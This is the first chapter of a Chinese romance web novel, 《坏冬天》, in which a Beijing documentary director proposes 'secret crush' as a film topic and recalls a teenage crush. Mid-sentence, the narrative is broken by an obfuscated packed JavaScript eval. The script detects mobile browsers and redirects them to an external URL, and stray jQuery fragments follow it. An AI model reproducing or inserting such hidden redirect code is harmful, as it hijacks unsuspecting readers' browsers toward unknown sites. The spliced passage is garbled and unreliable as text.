《坏冬天》
文/叶荔枝@叶荔枝枝
晋江文学城独家发表
暴雪天，我站在你门外，第二十三次抬起欲敲门的手，又第二十三次放下。
“我可以躲雪吗？”
话梗在喉间，你从未知晓。
簌簌雪落声淹没了我全部心跳。
这是暗恋你的一瞬间。
这是暗恋你的一整个冬天。
这是暗恋你的许多许多年。
-
北京的十二月气温骤降至零下，寒风渗进骨缝，浅金色的阳光吝啬的洒落在地，空气里呛着灰尘，凉如刀割。
会议室里，投影仪的光束映照着明昭因通宵加班而略显疲惫的苍白身影，她盯着投屏的ppt，轻捏眉心。
实习助理章方夏拖着滚轮椅用脚滑过来，离明昭近了一点，低声在她耳边说：“明导，这次选题还是不行？”
明昭眼神没从ppt上挪开，耸了耸肩膀，声音平淡无澜：“老板毙了。”
章方夏闻言轻笑，带着点促狭：“您这是想把老板给毙了啊，还是咱老板毙了选题？”
她故意在“毙”字上加重音。
明昭眨了眨眼睛，言简意赅道：“都有。”
章方夏立刻竖起食指抵在唇边，做了个夸张的“嘘”声：“小点声，可别让老板听见你想毙了他。”
明昭伸出纤白的食指，指了指自己，眼神透露着俏皮的迷茫，直言不讳：“还多我一个？”
他们这位老板朱郑成为人刻薄、吹毛求疵，还喜欢自诩艺术家，但是又没有真刀实枪的实践干过，就会不切实际的纸上谈兵，说好听点是“天马行空”，说难听点就是“脑子有坑”，想一出是一出。
他能混到今天全靠投了个好胎又侥幸赶上了时代红利，谁让猪在风口上都能起飞，平时公司里被他折磨的人可不止一个两个那么简单。
话音刚落，这心照不宣的吐槽如同投入静水的石子，瞬间在会议室里漾开默契的笑声，沉闷的空气也因大家的笑意松动了几分。
章方夏不知道从哪儿掏出一个暖宝宝，塞到明昭手里，“昭昭姐，你是不是又冷了。”
明昭看了眼自己发白的手，笑着接过，眼神轻漾，“谢谢夏夏啦，不过说了多少次了，咱们差不多大，不用叫我姐。”
章方夏是北京电影学院导演系大四的学生，是明昭的直系师妹，趁着课业间隙，跟在明昭身边实习做导演助理。
明昭极为怕冷，这是她身边人都知道的。
明昭把暖宝宝攥在手心，认真和团队的伙伴分析，“老板说不要再做‘非遗’这个选题了，之前公司已经做过专题系列，而且同行做过太多，这个选题早已不如前几年吃香了，也不容易出彩。”
“老板的意思是，希望通过咱们这次的作品，能唤起更多人广泛的情感上的共鸣。”
明昭说完，自己都摇了摇头，“非遗怎么会是过时话题呢，我们国家有那么多非遗文化可以通过纪录片的形式传播，可老板……”
团队策划许嫚“啪”地一声弹开打火机，点燃了一支细长的女士香烟，深深吸了一口，烟雾缭绕中带着明显的烦躁：“拜托，我们是纪录片团队！老板现在还没搞清楚吗，我们是做纪录片的，不是做综艺的，更不是拍电视剧的！他的意思是拍点情情爱爱卿卿我我，再亲个嘴儿、滚个床单才叫‘唤起共鸣’？”
团队编剧李津洲也有点无奈：“他是不是把我们和短剧部门搞混了……”
公司版图不小，不止纪录片部门，也有影视部门、综艺部门和短剧部门。
虽然老板不做人，但该说不说，他投资眼光的确毒辣到位。
早在短剧尚未成为风口的前几年，他就能精准的预判到短剧未来的爆发潜力，不仅果断攒局拉投资，更成功跻身首批短剧行业红利收割者之列。
李津洲说完叼着未燃的烟凑到许嫚旁边，含糊不清道：“嫚儿，借个火呗。”
他们工作不是按部就班的朝九晚五，昼夜颠倒、熬大夜是家常便饭，抽烟是普遍的提神手段之一，虽然设有专门的吸烟区，但是公司里从来不禁烟。
许嫚没好气儿地把打火机扔到李津洲胸口：“要不然咱换个电子烟吧，多少次不带火机了？”
语气里充满嫌弃，但动作却十分熟练。
明昭团队现在的盈利和短剧部门根本没法比，明昭听到李津洲的话，有点自嘲：“不然咱们也去拍部短剧给老板看看。”
许嫚吐了个烟圈：“拍什么？拍‘我重生了，上一世，我被无良老板压榨，这一世，我发誓要夺回属于我的一切，让老板跪地求饶？’，还是‘我本豪门千金，只因出生时被保姆恶意调换，养在乡下，啃了十八年猪饲料，结果首富亲爹找上门那天，我正扛着锄头在村口跟人激情对线，骂得全村狗都不敢吭声？’”
明昭指尖轻点桌面，接了一句：“不过据我猜测，咱们老板喜欢的大概是‘恋爱五年的男友劈腿继妹后，我闪婚了酒吧牛郎，谁知他竟是京城千亿太子爷？！’这种风格，现在短剧制作周期短，一个周就足够拍出来，不然我们……”
明昭最近被新纪录片的选题搞得焦头烂额，心力交瘁，他们团队提报的三个选题竟然全都被老板否了，选题不确定，项目便寸步难行，整个前期筹备如同陷入泥沼，开工遥遥无期。
说完，会议室寂静了两秒钟，许嫚掐了烟，看向明昭，语气半是调侃半是认真：“明导，术业有专攻，咱们明导是想多行业全开花做‘全栖名导’啊。”
明昭无奈，轻轻摇了摇头，指尖轻推鼻梁上的玳瑁色眼镜，几缕未束好的发丝慵懒垂落颈侧，衬得随意挽起的丸子头下，脖颈处纤细白皙的肌肤项愈发惹眼。
明昭有做演员的资本，读大学时不止一次有人误以为她是表演系的学生。
她不是一眼惊艳的浓艳型美女，而是耐看的骨相美人，无需浓墨重彩的装饰，巴掌大的脸颊之上，那柳叶弯眉下潋滟的桃花眸，已然是幅浑然天成的水墨工笔画。
有些人，或许第一眼不够惊艳众生，但是越看越有魅力。
明昭唇角轻漾，将话题拉回正轨：“言归正传，咱们按照老板的方向想选题。
她顿了顿，目光扫过团队成员，“其实我有一个idea，不知道你们觉得如何。”
众人好奇：“什么？”
明昭口中轻轻飘出一词：“暗恋。”
“暗恋？”
“对，心底从未说出口的情感，并且我相信绝大多数人都有过的，或短或长，拍好了一定能引起部分观众的共鸣。”
明昭的眼神愈发笃定。
“只是……用纪录片拍暗恋？”许嫚挑眉，“会不会拍着拍着，就变成情感综艺了？”
团队摄影师殷谧思考了一下：“定好主题基调、做好前期策划剧本的把控，只要思路清晰，不会拍成综艺风格的。”
明昭打了个响指：“bingo，我也是这么想的，如果做暗恋主题，那在选主人公的时候一定要明确方向，尽量多找几组，一组的话太单一了。”
“可以寻找不同年龄段、不同职业、不同背景的主人公，让内容和视角都丰富起来。”
团队一致觉得这是一个不错的选题，相对创新，至少近几年，没有同行做过。李津洲率先开口：“要不然先去和老板汇报一下？看看这次能不能通过？”
汇报的重任落在了明昭肩上，明昭觉得这次的选题应该不会被再次驳回，“那我现在赶个材料，去找老板？”
团队殷切的目光落在明昭身上。
今天的会议在愉快中收场，高层窗外风声呼啸，明昭的指尖伴着风声在键盘上翻飞，迅速填妥了团队项目提案表。
打印机在一旁嗡鸣运转着，明昭静立一侧，目光紧随着那缓缓吐出的、还带着微热与墨香的纸页，只待最后一张落定，便即刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342222|199397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呈到老板朱郑成面前。
明昭拿着那一摞提案表，忽略掉身体的轻微不适，迅速向老板办公室走去。
明昭信心满满地在老板面前向他汇报，朱郑成的目光从最开始的埋头不屑到缓缓抬起，随后若有所思的看着明昭哪来的提案表，“你觉得暗恋这个话题足够引起共鸣？”
明昭保持着专业而淡定的姿态回答：“对，因为根据中国青年网的一项调查，超八成的大学生有过暗恋对象*，我们有理由相信，在其他年龄群体中，这个比例也相当可观，它触及的是藏在我们每个人心底都可能存在的那份隐秘而深刻的情感体验，足够引发共鸣。”
朱郑成听到明昭的汇报，微微后仰靠在宽大的椅背上，眼神锐利，似乎是不太相信明昭给出的数据。
“数据是数据……”朱郑成忽然话锋一转，提出一个颇为私人的话题：“你呢？明导，那你呢？你有过暗恋一个人的经历吗？”
话题带着点探究的意味，明昭知道这与选题有关，但她和老板还不是可以关起门来谈论暗恋对象的关系。
明昭心头微凛，面上却不动声色，很巧妙的回答：“我们团队都有过暗恋的经历。”
明昭强调的是团队在“暗恋”这个选题上的共情能力和专业能力，而非仅她自己。
“这个选题我需要考虑一下。”他没有如明昭期待的那样当场拍板，“你先回去等通知。”
朱郑成把提案表随手放到一边，动作随意得像在拂去桌面上的一点轻飘飘的灰尘。
仅仅是“考虑一下”？
不是“研究研究”，也不是“再想想”，而是更模糊、更不确定、更让明昭拿不准的“考虑一下”。
明昭认为团队这次想出来的提案既言之有物又言之有理，原本她以为老板会很果断的同意，可是此刻的她猜不透朱郑成是否喜欢本次关于“暗恋”的提案。
明昭只觉得浑身的力气仿佛被抽走，心底燃起的那点星火，仿佛被这盆冷水瞬间浇熄。她小步小步挪出办公室，厚重的门在身后合上，隔绝了老板办公室那令她喘不动气的窒息氛围。
透过窗牖飘来冬日稀薄的阳光，明昭背靠着冰凉的墙壁，地面拉出她疲惫的影子，她搓了搓手心，掏出手机，指尖有些僵硬地在团队小群里敲下老板的意思，发送半秒钟后，团队成员们的吐槽接二连三的到来。
打工人吐槽老板的话也不怎么好听，他们这些算是搞艺术创作的，阴阳起人来更是夹枪带棒、字字诛心还能做到不带一个脏字，明昭看完聊天记录以后一个人乐了一下，随后关掉手机，默默消化刚才老板的话——
“你有过暗恋一个人的经历吗？”
明昭有多久没有思考过这个话题了？
明昭因为疯狂连轴加班已经濒临崩溃临界点的大脑，像是信号不良的老旧电视屏幕，猛然间毫无预兆的“滋啦滋啦”闪过一片刺眼的灰白雪花，在没有画面的噪点里，一张清俊的脸庞，如同泛黄褪色的旧照片，模糊又强势固执地浮现在明昭的脑海里。
她的答案不需要片刻犹豫——
“有过。”
这是出自真心的答案。
只是她快要记不清楚他的样子了。
少年的轮廓在年复一年的时光里渐渐氤氲不清，徒留一片抓不住具体形状的朦胧身影。
他穿着校服，细碎的阳光落在他的周身，光影斑驳间，少年的身影拓印在明昭的回忆里。
那是一张已经快要想不起来他五官具体模样的模糊眉眼。
就连明昭此刻也说不清楚为什么自己会偏偏不记得他的模样。
明明铭心刻骨。
明明最难忘却。
毕业、北漂工作，生活的车轮裹挟着明昭向前，川流不息，从未停歇。明昭告别了学生时代，也意味着她已经许多年没有见过他了。
许多年没有见过曾经令她魂牵梦萦到迷恋、曾经令她心尖悸动滚烫的他了。